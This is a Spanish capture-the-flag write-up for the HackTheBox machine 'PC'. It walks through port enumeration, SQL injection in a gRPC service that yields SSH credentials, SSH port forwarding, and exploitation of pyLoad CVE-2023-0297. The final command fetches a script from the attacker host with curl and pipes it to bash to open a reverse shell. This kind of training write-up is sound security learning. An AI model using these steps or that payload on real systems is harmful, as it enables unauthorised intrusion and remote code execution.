HackTheBox - PC
Máquina Linux de nivel Easy de HackTheBox.
Técnicas usadas: SQL Injection, PyLoad (CVE-2023-0297), Local Port Forwarding (SSH)
Fase de Reconocimiento 🧣
a. Enumeramos los puertos que están abiertos en la Máquina PC
b. Vemos las versiones de los servicios que se están ejecutando en los puertos.
nmap -p<Ports> -sCV <IP> -oN versiones
Como nos sabemos que servicio se ejecuta en el puerto 50051 consultamos sobre los servicio más comunes que ocupen este puerto.
Nos menciona algo de gRPC por lo que usaremos grpcui
c. Configuramos el grpcui e invetigamos sobre el servicio
1
root@kali> grpcui -plaintext 10.10.11.214:50051
Existen tres métodos
LoginUser, RegisterUser
ygetInfo
. Después de crear un usuario y autenticarnos, recibiremos un token el cual usaremos para el método getInfo y esta petición la capturamos con Burp SuiteEl único data que se envía es el id y al enviarlo vemos el mensaje “El administrador está trabajando duro por arreglar los errores”. Aquí podemos decir que existe una inyección SQL
La base de datos es sqlite
PayloadAllTheThings: Sqlite Injection
Listamos las columnas de la base de datos accounts
Vemos los datos de esta tabla
Aquí vemos un usuario sau con una credencial que es válida para el servicio SSH
d. Nos autenticamos en el servicio SSH con las credenciales sau:H[Pass]31
1
2
3
4
root@kali> ssh sau@<IP PC>
sau@10.10.11.214's password:
-bash-5.0$ whoami
sau
Escalada de Privilegios 💹
a. Al listar los puertos abiertos internamente en la máquina vemos otro puerto 8000
1
2
3
4
sau@pc:~$ netstat -nat
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN
<SNIP>
Este servicio es ejecutado por root
1 2 3
sau@pc:~$ ps -faux <SNIP> root 1064 0.5 1.9 1222824 76660 ? Ssl 16:48 0:53 /usr/bin/python3 /usr/local/bin/pyload
b. Nos traemos este puerto jugando con SSH y Local Port Forwarding
1
root@kali> ssh -L 8000:127.0.0.1:8000 sau@<IP PC>
Ahora ya podemos ver este servicio
Al buscar por vulnerabilidades en este servicio encontramos esto CVE-2023-0297, este script nos permite ejecutar comandos, no veremos el output del comando, pero, sabemos que se ejecutó, con lo que nos entablaremos una reverse shell
1
root@kali> python3 poc.py -u http://localhost:8000 -c "curl http://<tun0 IP>:4444/index.html|bash"